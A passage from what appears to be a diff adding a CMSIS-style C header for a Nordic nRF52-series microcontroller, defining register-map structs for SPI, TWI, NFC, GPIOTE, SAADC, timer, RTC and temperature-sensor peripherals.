0x00000108) TXD byte sent and RXD byte received */ + __IM uint32_t RESERVED1[126]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[125]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable SPI */ + __IM uint32_t RESERVED3; + __IOM SPI_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED4; + __IM uint32_t RXD; /*!< (@ 0x00000518) RXD register */ + __IOM uint32_t TXD; /*!< (@ 0x0000051C) TXD register */ + __IM uint32_t RESERVED5; + __IOM uint32_t FREQUENCY; /*!< (@ 0x00000524) SPI frequency. Accuracy depends on the HFCLK + source selected. */ + __IM uint32_t RESERVED6[11]; + __IOM uint32_t CONFIG; /*!< (@ 0x00000554) Configuration register */ +} NRF_SPI_Type; /*!< Size = 1368 (0x558) */ + + + +/* =========================================================================================================================== */ +/* ================ SPIM0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Serial Peripheral Interface Master with EasyDMA 0 (SPIM0) + */ + +typedef struct { /*!< (@ 0x40003000) SPIM0 Structure */ + __IM uint32_t RESERVED[4]; + __OM uint32_t TASKS_START; /*!< (@ 0x00000010) Start SPI transaction */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000014) Stop SPI transaction */ + __IM uint32_t RESERVED1; + __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend SPI transaction */ + __OM uint32_t TASKS_RESUME; /*!< (@ 0x00000020) Resume SPI transaction */ + __IM uint32_t RESERVED2[56]; + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) SPI transaction has stopped */ + __IM uint32_t RESERVED3[2]; + __IOM uint32_t EVENTS_ENDRX; /*!< (@ 0x00000110) End of RXD buffer reached */ + __IM uint32_t RESERVED4; + __IOM uint32_t EVENTS_END; /*!< (@ 0x00000118) End of RXD buffer and TXD buffer reached */ + __IM uint32_t RESERVED5; + __IOM uint32_t EVENTS_ENDTX; /*!< (@ 0x00000120) End of TXD buffer reached */ + __IM uint32_t RESERVED6[10]; + __IOM uint32_t EVENTS_STARTED; /*!< (@ 0x0000014C) Transaction started */ + __IM uint32_t RESERVED7[44]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED8[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED9[61]; + __IOM uint32_t STALLSTAT; /*!< (@ 0x00000400) Stall status for EasyDMA RAM accesses. The fields + in this register are set to STALL by hardware + whenever a stall occurs and can be cleared + (set to NOSTALL) by the CPU. */ + __IM uint32_t RESERVED10[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable SPIM */ + __IM uint32_t RESERVED11; + __IOM SPIM_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED12[3]; + __IOM uint32_t FREQUENCY; /*!< (@ 0x00000524) SPI frequency. Accuracy depends on the HFCLK + source selected. */ + __IM uint32_t RESERVED13[3]; + __IOM SPIM_RXD_Type RXD; /*!< (@ 0x00000534) RXD EasyDMA channel */ + __IOM SPIM_TXD_Type TXD; /*!< (@ 0x00000544) TXD EasyDMA channel */ + __IOM uint32_t CONFIG; /*!< (@ 0x00000554) Configuration register */ + __IM uint32_t RESERVED14[2]; + __IOM SPIM_IFTIMING_Type IFTIMING; /*!< (@ 0x00000560) Unspecified */ + __IOM uint32_t CSNPOL; /*!< (@ 0x00000568) Polarity of CSN output */ + __IOM uint32_t PSELDCX; /*!< (@ 0x0000056C) Pin select for DCX signal */ + __IOM uint32_t DCXCNT; /*!< (@ 0x00000570) DCX configuration */ + __IM uint32_t RESERVED15[19]; + __IOM uint32_t ORC; /*!< (@ 0x000005C0) Byte transmitted after TXD.MAXCNT bytes have + been transmitted in the case when RXD.MAXCNT + is greater than TXD.MAXCNT */ +} NRF_SPIM_Type; /*!< Size = 1476 (0x5c4) */ + + + +/* =========================================================================================================================== */ +/* ================ SPIS0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief SPI Slave 0 (SPIS0) + */ + +typedef struct { /*!< (@ 0x40003000) SPIS0 Structure */ + __IM uint32_t RESERVED[9]; + __OM uint32_t TASKS_ACQUIRE; /*!< (@ 0x00000024) Acquire SPI semaphore */ + __OM uint32_t TASKS_RELEASE; /*!< (@ 0x00000028) Release SPI semaphore, enabling the SPI slave + to acquire it */ + __IM uint32_t RESERVED1[54]; + __IOM uint32_t EVENTS_END; /*!< (@ 0x00000104) Granted transaction completed */ + __IM uint32_t RESERVED2[2]; + __IOM uint32_t EVENTS_ENDRX; /*!< (@ 0x00000110) End of RXD buffer reached */ + __IM uint32_t RESERVED3[5]; + __IOM uint32_t EVENTS_ACQUIRED; /*!< (@ 0x00000128) Semaphore acquired */ + __IM uint32_t RESERVED4[53]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED5[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED6[61]; + __IM uint32_t SEMSTAT; /*!< (@ 0x00000400) Semaphore status register */ + __IM uint32_t RESERVED7[15]; + __IOM uint32_t STATUS; /*!< (@ 0x00000440) Status from last transaction */ + __IM uint32_t RESERVED8[47]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable SPI slave */ + __IM uint32_t RESERVED9; + __IOM SPIS_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED10[7]; + __IOM SPIS_RXD_Type RXD; /*!< (@ 0x00000534) Unspecified */ + __IOM SPIS_TXD_Type TXD; /*!< (@ 0x00000544) Unspecified */ + __IOM uint32_t CONFIG; /*!< (@ 0x00000554) Configuration register */ + __IM uint32_t RESERVED11; + __IOM uint32_t DEF; /*!< (@ 0x0000055C) Default character. Character clocked out in case + of an ignored transaction. */ + __IM uint32_t RESERVED12[24]; + __IOM uint32_t ORC; /*!< (@ 0x000005C0) Over-read character */ +} NRF_SPIS_Type; /*!< Size = 1476 (0x5c4) */ + + + +/* =========================================================================================================================== */ +/* ================ TWI0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief I2C compatible Two-Wire Interface 0 (TWI0) + */ + +typedef struct { /*!< (@ 0x40003000) TWI0 Structure */ + __OM uint32_t TASKS_STARTRX; /*!< (@ 0x00000000) Start TWI receive sequence */ + __IM uint32_t RESERVED; + __OM uint32_t TASKS_STARTTX; /*!< (@ 0x00000008) Start TWI transmit sequence */ + __IM uint32_t RESERVED1[2]; + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000014) Stop TWI transaction */ + __IM uint32_t RESERVED2; + __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend TWI transaction */ + __OM uint32_t TASKS_RESUME; /*!< (@ 0x00000020) Resume TWI transaction */ + __IM uint32_t RESERVED3[56]; + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) TWI stopped */ + __IOM uint32_t EVENTS_RXDREADY; /*!< (@ 0x00000108) TWI RXD byte received */ + __IM uint32_t RESERVED4[4]; + __IOM uint32_t EVENTS_TXDSENT; /*!< (@ 0x0000011C) TWI TXD byte sent */ + __IM uint32_t RESERVED5; + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) TWI error */ + __IM uint32_t RESERVED6[4]; + __IOM uint32_t EVENTS_BB; /*!< (@ 0x00000138) TWI byte boundary, generated before each byte + that is sent or received */ + __IM uint32_t RESERVED7[3]; + __IOM uint32_t EVENTS_SUSPENDED; /*!< (@ 0x00000148) TWI entered the suspended state */ + __IM uint32_t RESERVED8[45]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED9[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED10[110]; + __IOM uint32_t ERRORSRC; /*!< (@ 0x000004C4) Error source */ + __IM uint32_t RESERVED11[14]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable TWI */ + __IM uint32_t RESERVED12; + __IOM TWI_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED13[2]; + __IM uint32_t RXD; /*!< (@ 0x00000518) RXD register */ + __IOM uint32_t TXD; /*!< (@ 0x0000051C) TXD register */ + __IM uint32_t RESERVED14; + __IOM uint32_t FREQUENCY; /*!< (@ 0x00000524) TWI frequency. Accuracy depends on the HFCLK + source selected. */ + __IM uint32_t RESERVED15[24]; + __IOM uint32_t ADDRESS; /*!< (@ 0x00000588) Address used in the TWI transfer */ +} NRF_TWI_Type; /*!< Size = 1420 (0x58c) */ + + + +/* =========================================================================================================================== */ +/* ================ TWIM0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief I2C compatible Two-Wire Master Interface with EasyDMA 0 (TWIM0) + */ + +typedef struct { /*!< (@ 0x40003000) TWIM0 Structure */ + __OM uint32_t TASKS_STARTRX; /*!< (@ 0x00000000) Start TWI receive sequence */ + __IM uint32_t RESERVED; + __OM uint32_t TASKS_STARTTX; /*!< (@ 0x00000008) Start TWI transmit sequence */ + __IM uint32_t RESERVED1[2]; + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000014) Stop TWI transaction. Must be issued while the + TWI master is not suspended. */ + __IM uint32_t RESERVED2; + __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend TWI transaction */ + __OM uint32_t TASKS_RESUME; /*!< (@ 0x00000020) Resume TWI transaction */ + __IM uint32_t RESERVED3[56]; + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) TWI stopped */ + __IM uint32_t RESERVED4[7]; + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) TWI error */ + __IM uint32_t RESERVED5[8]; + __IOM uint32_t EVENTS_SUSPENDED; /*!< (@ 0x00000148) SUSPEND task has been issued, TWI traffic is + now suspended. */ + __IOM uint32_t EVENTS_RXSTARTED; /*!< (@ 0x0000014C) Receive sequence started */ + __IOM uint32_t EVENTS_TXSTARTED; /*!< (@ 0x00000150) Transmit sequence started */ + __IM uint32_t RESERVED6[2]; + __IOM uint32_t EVENTS_LASTRX; /*!< (@ 0x0000015C) Byte boundary, starting to receive the last byte */ + __IOM uint32_t EVENTS_LASTTX; /*!< (@ 0x00000160) Byte boundary, starting to transmit the last + byte */ + __IM uint32_t RESERVED7[39]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED8[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED9[110]; + __IOM uint32_t ERRORSRC; /*!< (@ 0x000004C4) Error source */ + __IM uint32_t RESERVED10[14]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable TWIM */ + __IM uint32_t RESERVED11; + __IOM TWIM_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED12[5]; + __IOM uint32_t FREQUENCY; /*!< (@ 0x00000524) TWI frequency. Accuracy depends on the HFCLK + source selected. */ + __IM uint32_t RESERVED13[3]; + __IOM TWIM_RXD_Type RXD; /*!< (@ 0x00000534) RXD EasyDMA channel */ + __IOM TWIM_TXD_Type TXD; /*!< (@ 0x00000544) TXD EasyDMA channel */ + __IM uint32_t RESERVED14[13]; + __IOM uint32_t ADDRESS; /*!< (@ 0x00000588) Address used in the TWI transfer */ +} NRF_TWIM_Type; /*!< Size = 1420 (0x58c) */ + + + +/* =========================================================================================================================== */ +/* ================ TWIS0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief I2C compatible Two-Wire Slave Interface with EasyDMA 0 (TWIS0) + */ + +typedef struct { /*!< (@ 0x40003000) TWIS0 Structure */ + __IM uint32_t RESERVED[5]; + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000014) Stop TWI transaction */ + __IM uint32_t RESERVED1; + __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend TWI transaction */ + __OM uint32_t TASKS_RESUME; /*!< (@ 0x00000020) Resume TWI transaction */ + __IM uint32_t RESERVED2[3]; + __OM uint32_t TASKS_PREPARERX; /*!< (@ 0x00000030) Prepare the TWI slave to respond to a write command */ + __OM uint32_t TASKS_PREPARETX; /*!< (@ 0x00000034) Prepare the TWI slave to respond to a read command */ + __IM uint32_t RESERVED3[51]; + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000104) TWI stopped */ + __IM uint32_t RESERVED4[7]; + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) TWI error */ + __IM uint32_t RESERVED5[9]; + __IOM uint32_t EVENTS_RXSTARTED; /*!< (@ 0x0000014C) Receive sequence started */ + __IOM uint32_t EVENTS_TXSTARTED; /*!< (@ 0x00000150) Transmit sequence started */ + __IM uint32_t RESERVED6[4]; + __IOM uint32_t EVENTS_WRITE; /*!< (@ 0x00000164) Write command received */ + __IOM uint32_t EVENTS_READ; /*!< (@ 0x00000168) Read command received */ + __IM uint32_t RESERVED7[37]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED8[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED9[113]; + __IOM uint32_t ERRORSRC; /*!< (@ 0x000004D0) Error source */ + __IM uint32_t MATCH; /*!< (@ 0x000004D4) Status register indicating which address had + a match */ + __IM uint32_t RESERVED10[10]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable TWIS */ + __IM uint32_t RESERVED11; + __IOM TWIS_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED12[9]; + __IOM TWIS_RXD_Type RXD; /*!< (@ 0x00000534) RXD EasyDMA channel */ + __IOM TWIS_TXD_Type TXD; /*!< (@ 0x00000544) TXD EasyDMA channel */ + __IM uint32_t RESERVED13[13]; + __IOM uint32_t ADDRESS[2]; /*!< (@ 0x00000588) Description collection: TWI slave address n */ + __IM uint32_t RESERVED14; + __IOM uint32_t CONFIG; /*!< (@ 0x00000594) Configuration register for the address match + mechanism */ + __IM uint32_t RESERVED15[10]; + __IOM uint32_t ORC; /*!< (@ 0x000005C0) Over-read character. Character sent out in case + of an over-read of the transmit buffer. */ +} NRF_TWIS_Type; /*!< Size = 1476 (0x5c4) */ + + + +/* =========================================================================================================================== */ +/* ================ NFCT ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief NFC-A compatible radio (NFCT) + */ + +typedef struct { /*!< (@ 0x40005000) NFCT Structure */ + __OM uint32_t TASKS_ACTIVATE; /*!< (@ 0x00000000) Activate NFCT peripheral for incoming and outgoing + frames, change state to activated */ + __OM uint32_t TASKS_DISABLE; /*!< (@ 0x00000004) Disable NFCT peripheral */ + __OM uint32_t TASKS_SENSE; /*!< (@ 0x00000008) Enable NFC sense field mode, change state to + sense mode */ + __OM uint32_t TASKS_STARTTX; /*!< (@ 0x0000000C) Start transmission of an outgoing frame, change + state to transmit */ + __IM uint32_t RESERVED[3]; + __OM uint32_t TASKS_ENABLERXDATA; /*!< (@ 0x0000001C) Initializes the EasyDMA for receive. */ + __IM uint32_t RESERVED1; + __OM uint32_t TASKS_GOIDLE; /*!< (@ 0x00000024) Force state machine to IDLE state */ + __OM uint32_t TASKS_GOSLEEP; /*!< (@ 0x00000028) Force state machine to SLEEP_A state */ + __IM uint32_t RESERVED2[53]; + __IOM uint32_t EVENTS_READY; /*!< (@ 0x00000100) The NFCT peripheral is ready to receive and send + frames */ + __IOM uint32_t EVENTS_FIELDDETECTED; /*!< (@ 0x00000104) Remote NFC field detected */ + __IOM uint32_t EVENTS_FIELDLOST; /*!< (@ 0x00000108) Remote NFC field lost */ + __IOM uint32_t EVENTS_TXFRAMESTART; /*!< (@ 0x0000010C) Marks the start of the first symbol of a transmitted + frame */ + __IOM uint32_t EVENTS_TXFRAMEEND; /*!< (@ 0x00000110) Marks the end of the last transmitted on-air + symbol of a frame */ + __IOM uint32_t EVENTS_RXFRAMESTART; /*!< (@ 0x00000114) Marks the end of the first symbol of a received + frame */ + __IOM uint32_t EVENTS_RXFRAMEEND; /*!< (@ 0x00000118) Received data has been checked (CRC, parity) + and transferred to RAM, and EasyDMA has + ended accessing the RX buffer */ + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x0000011C) NFC error reported. The ERRORSTATUS register + contains details on the source of the error. */ + __IM uint32_t RESERVED3[2]; + __IOM uint32_t EVENTS_RXERROR; /*!< (@ 0x00000128) NFC RX frame error reported. The FRAMESTATUS.RX + register contains details on the source + of the error. */ + __IOM uint32_t EVENTS_ENDRX; /*!< (@ 0x0000012C) RX buffer (as defined by PACKETPTR and MAXLEN) + in Data RAM full. */ + __IOM uint32_t EVENTS_ENDTX; /*!< (@ 0x00000130) Transmission of data in RAM has ended, and EasyDMA + has ended accessing the TX buffer */ + __IM uint32_t RESERVED4; + __IOM uint32_t EVENTS_AUTOCOLRESSTARTED; /*!< (@ 0x00000138) Auto collision resolution process has started */ + __IM uint32_t RESERVED5[3]; + __IOM uint32_t EVENTS_COLLISION; /*!< (@ 0x00000148) NFC auto collision resolution error reported. */ + __IOM uint32_t EVENTS_SELECTED; /*!< (@ 0x0000014C) NFC auto collision resolution successfully completed */ + __IOM uint32_t EVENTS_STARTED; /*!< (@ 0x00000150) EasyDMA is ready to receive or send frames. */ + __IM uint32_t RESERVED6[43]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED7[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED8[62]; + __IOM uint32_t ERRORSTATUS; /*!< (@ 0x00000404) NFC Error Status register */ + __IM uint32_t RESERVED9; + __IOM NFCT_FRAMESTATUS_Type FRAMESTATUS; /*!< (@ 0x0000040C) Unspecified */ + __IM uint32_t NFCTAGSTATE; /*!< (@ 0x00000410) NfcTag state register */ + __IM uint32_t RESERVED10[3]; + __IM uint32_t SLEEPSTATE; /*!< (@ 0x00000420) Sleep state during automatic collision resolution */ + __IM uint32_t RESERVED11[6]; + __IM uint32_t FIELDPRESENT; /*!< (@ 0x0000043C) Indicates the presence or not of a valid field */ + __IM uint32_t RESERVED12[49]; + __IOM uint32_t FRAMEDELAYMIN; /*!< (@ 0x00000504) Minimum frame delay */ + __IOM uint32_t FRAMEDELAYMAX; /*!< (@ 0x00000508) Maximum frame delay */ + __IOM uint32_t FRAMEDELAYMODE; /*!< (@ 0x0000050C) Configuration register for the Frame Delay Timer */ + __IOM uint32_t PACKETPTR; /*!< (@ 0x00000510) Packet pointer for TXD and RXD data storage in + Data RAM */ + __IOM uint32_t MAXLEN; /*!< (@ 0x00000514) Size of the RAM buffer allocated to TXD and RXD + data storage each */ + __IOM NFCT_TXD_Type TXD; /*!< (@ 0x00000518) Unspecified */ + __IOM NFCT_RXD_Type RXD; /*!< (@ 0x00000520) Unspecified */ + __IM uint32_t RESERVED13[26]; + __IOM uint32_t NFCID1_LAST; /*!< (@ 0x00000590) Last NFCID1 part (4, 7 or 10 bytes ID) */ + __IOM uint32_t NFCID1_2ND_LAST; /*!< (@ 0x00000594) Second last NFCID1 part (7 or 10 bytes ID) */ + __IOM uint32_t NFCID1_3RD_LAST; /*!< (@ 0x00000598) Third last NFCID1 part (10 bytes ID) */ + __IOM uint32_t AUTOCOLRESCONFIG; /*!< (@ 0x0000059C) Controls the auto collision resolution function. + This setting must be done before the NFCT + peripheral is activated. */ + __IOM uint32_t SENSRES; /*!< (@ 0x000005A0) NFC-A SENS_RES auto-response settings */ + __IOM uint32_t SELRES; /*!< (@ 0x000005A4) NFC-A SEL_RES auto-response settings */ +} NRF_NFCT_Type; /*!< Size = 1448 (0x5a8) */ + + + +/* =========================================================================================================================== */ +/* ================ GPIOTE ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief GPIO Tasks and Events (GPIOTE) + */ + +typedef struct { /*!< (@ 0x40006000) GPIOTE Structure */ + __OM uint32_t TASKS_OUT[8]; /*!< (@ 0x00000000) Description collection: Task for writing to pin + specified in CONFIG[n].PSEL. Action on pin + is configured in CONFIG[n].POLARITY. */ + __IM uint32_t RESERVED[4]; + __OM uint32_t TASKS_SET[8]; /*!< (@ 0x00000030) Description collection: Task for writing to pin + specified in CONFIG[n].PSEL. Action on pin + is to set it high. */ + __IM uint32_t RESERVED1[4]; + __OM uint32_t TASKS_CLR[8]; /*!< (@ 0x00000060) Description collection: Task for writing to pin + specified in CONFIG[n].PSEL. Action on pin + is to set it low. */ + __IM uint32_t RESERVED2[32]; + __IOM uint32_t EVENTS_IN[8]; /*!< (@ 0x00000100) Description collection: Event generated from + pin specified in CONFIG[n].PSEL */ + __IM uint32_t RESERVED3[23]; + __IOM uint32_t EVENTS_PORT; /*!< (@ 0x0000017C) Event generated from multiple input GPIO pins + with SENSE mechanism enabled */ + __IM uint32_t RESERVED4[97]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED5[129]; + __IOM uint32_t CONFIG[8]; /*!< (@ 0x00000510) Description collection: Configuration for OUT[n], + SET[n], and CLR[n] tasks and IN[n] event */ +} NRF_GPIOTE_Type; /*!< Size = 1328 (0x530) */ + + + +/* =========================================================================================================================== */ +/* ================ SAADC ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Successive approximation register (SAR) analog-to-digital converter (SAADC) + */ + +typedef struct { /*!< (@ 0x40007000) SAADC Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Starts the SAADC and prepares the result buffer + in RAM */ + __OM uint32_t TASKS_SAMPLE; /*!< (@ 0x00000004) Takes one SAADC sample */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000008) Stops the SAADC and terminates all on-going conversions */ + __OM uint32_t TASKS_CALIBRATEOFFSET; /*!< (@ 0x0000000C) Starts offset auto-calibration */ + __IM uint32_t RESERVED[60]; + __IOM uint32_t EVENTS_STARTED; /*!< (@ 0x00000100) The SAADC has started */ + __IOM uint32_t EVENTS_END; /*!< (@ 0x00000104) The SAADC has filled up the result buffer */ + __IOM uint32_t EVENTS_DONE; /*!< (@ 0x00000108) A conversion task has been completed. Depending + on the configuration, multiple conversions + might be needed for a result to be transferred + to RAM. */ + __IOM uint32_t EVENTS_RESULTDONE; /*!< (@ 0x0000010C) Result ready for transfer to RAM */ + __IOM uint32_t EVENTS_CALIBRATEDONE; /*!< (@ 0x00000110) Calibration is complete */ + __IOM uint32_t EVENTS_STOPPED; /*!< (@ 0x00000114) The SAADC has stopped */ + __IOM SAADC_EVENTS_CH_Type EVENTS_CH[8]; /*!< (@ 0x00000118) Peripheral events. */ + __IM uint32_t RESERVED1[106]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[61]; + __IM uint32_t STATUS; /*!< (@ 0x00000400) Status */ + __IM uint32_t RESERVED3[63]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable or disable SAADC */ + __IM uint32_t RESERVED4[3]; + __IOM SAADC_CH_Type CH[8]; /*!< (@ 0x00000510) Unspecified */ + __IM uint32_t RESERVED5[24]; + __IOM uint32_t RESOLUTION; /*!< (@ 0x000005F0) Resolution configuration */ + __IOM uint32_t OVERSAMPLE; /*!< (@ 0x000005F4) Oversampling configuration. The RESOLUTION is + applied before averaging, thus for high + OVERSAMPLE a higher RESOLUTION should be + used. */ + __IOM uint32_t SAMPLERATE; /*!< (@ 0x000005F8) Controls normal or continuous sample rate */ + __IM uint32_t RESERVED6[12]; + __IOM SAADC_RESULT_Type RESULT; /*!< (@ 0x0000062C) RESULT EasyDMA channel */ +} NRF_SAADC_Type; /*!< Size = 1592 (0x638) */ + + + +/* =========================================================================================================================== */ +/* ================ TIMER0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Timer/Counter 0 (TIMER0) + */ + +typedef struct { /*!< (@ 0x40008000) TIMER0 Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start Timer */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stop Timer */ + __OM uint32_t TASKS_COUNT; /*!< (@ 0x00000008) Increment Timer (Counter mode only) */ + __OM uint32_t TASKS_CLEAR; /*!< (@ 0x0000000C) Clear time */ + __OM uint32_t TASKS_SHUTDOWN; /*!< (@ 0x00000010) Deprecated register - Shut down timer */ + __IM uint32_t RESERVED[11]; + __OM uint32_t TASKS_CAPTURE[6]; /*!< (@ 0x00000040) Description collection: Capture Timer value to + CC[n] register */ + __IM uint32_t RESERVED1[58]; + __IOM uint32_t EVENTS_COMPARE[6]; /*!< (@ 0x00000140) Description collection: Compare event on CC[n] + match */ + __IM uint32_t RESERVED2[42]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED3[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED4[126]; + __IOM uint32_t MODE; /*!< (@ 0x00000504) Timer mode selection */ + __IOM uint32_t BITMODE; /*!< (@ 0x00000508) Configure the number of bits used by the TIMER */ + __IM uint32_t RESERVED5; + __IOM uint32_t PRESCALER; /*!< (@ 0x00000510) Timer prescaler register */ + __IM uint32_t RESERVED6[11]; + __IOM uint32_t CC[6]; /*!< (@ 0x00000540) Description collection: Capture/Compare register + n */ +} NRF_TIMER_Type; /*!< Size = 1368 (0x558) */ + + + +/* =========================================================================================================================== */ +/* ================ RTC0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Real time counter 0 (RTC0) + */ + +typedef struct { /*!< (@ 0x4000B000) RTC0 Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start RTC COUNTER */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stop RTC COUNTER */ + __OM uint32_t TASKS_CLEAR; /*!< (@ 0x00000008) Clear RTC COUNTER */ + __OM uint32_t TASKS_TRIGOVRFLW; /*!< (@ 0x0000000C) Set COUNTER to 0xFFFFF0 */ + __IM uint32_t RESERVED[60]; + __IOM uint32_t EVENTS_TICK; /*!< (@ 0x00000100) Event on COUNTER increment */ + __IOM uint32_t EVENTS_OVRFLW; /*!< (@ 0x00000104) Event on COUNTER overflow */ + __IM uint32_t RESERVED1[14]; + __IOM uint32_t EVENTS_COMPARE[4]; /*!< (@ 0x00000140) Description collection: Compare event on CC[n] + match */ + __IM uint32_t RESERVED2[109]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED3[13]; + __IOM uint32_t EVTEN; /*!< (@ 0x00000340) Enable or disable event routing */ + __IOM uint32_t EVTENSET; /*!< (@ 0x00000344) Enable event routing */ + __IOM uint32_t EVTENCLR; /*!< (@ 0x00000348) Disable event routing */ + __IM uint32_t RESERVED4[110]; + __IM uint32_t COUNTER; /*!< (@ 0x00000504) Current COUNTER value */ + __IOM uint32_t PRESCALER; /*!< (@ 0x00000508) 12 bit prescaler for COUNTER frequency (32768/(PRESCALER+1)). + Must be written when RTC is stopped. */ + __IM uint32_t RESERVED5[13]; + __IOM uint32_t CC[4]; /*!< (@ 0x00000540) Description collection: Compare register n */ +} NRF_RTC_Type; /*!< Size = 1360 (0x550) */ + + + +/* =========================================================================================================================== */ +/* ================ TEMP ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Temperature Sensor (TEMP) + */ + +typedef struct { /*!< (@ 0x4000C000) TEMP Structure */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000000) Start temperature measurement */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x00000004) Stop temperature measurement */ + __IM uint32_t RESERVED[62]; + __IOM uint32_t EVENTS_DATARDY; /*!< (@ 0x00000100) Temperature measurement complete, data ready */ + __IM uint32_t RESERVED1[128]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED2[127]; + __IM int32_t TEMP; /*!< (@ 0x00000508) Temperature in degC (0.25deg steps) */ + __IM uint32_t RESERVED3[5]; + __IOM uint32_t A0; /*!< (@ 0x00000520) Slope of first piecewise linear function */ + __IOM uint32_t A1; /*!< (@ 